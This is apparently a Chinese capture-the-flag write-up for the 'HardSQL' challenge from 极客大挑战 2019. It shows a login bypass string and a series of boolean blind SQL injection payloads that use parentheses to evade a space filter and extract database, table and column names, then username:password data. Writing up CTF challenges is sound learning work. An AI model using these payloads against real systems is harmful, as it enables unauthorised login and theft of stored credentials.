[极客大挑战 2019]HardSQL

发布时间 2023-12-12 14:11:12作者: 落寞孤云
SQL注入,猜测后台代码类似 
SELECT id FROM table_name WHERE username=input1 AND password=input2;

发现过滤了空格比较符号和大部分函数名,但是没有过滤关键字。使用

1'OR(true)#

万能密码尝试登录,显示登录成功,判断可以进行布尔盲注。

构造如下语句,更改left参数与减去的字符检测数据库名。

1'OR(ord(right(left(database(),1),1))-ord('a'))#

得出数据库名"geek"。

然后使用MySQL可以用括号替代空格的特性,使用 GROUP_CONCAT 查询表名,语句如下:

1'OR(ORD(RIGHT(LEFT((SELECT(group_concat(table_name))FROM(information_schema.tables)WHERE(table_schema)like('geek')),1),1))-ORD('a'))#

查询列名:

1'OR(ORD(RIGHT(LEFT((SELECT(group_concat(column_name))FROM(information_schema.columns)WHERE(table_name)like('H4rDsq1')),1),1))-ORD('a'))#

查询数据库:

1'OR(ORD(RIGHT(LEFT((SELECT(GROUP_CONCAT(username,':',password))FROM(H4rDsq1)),1),1))-ORD('a'))#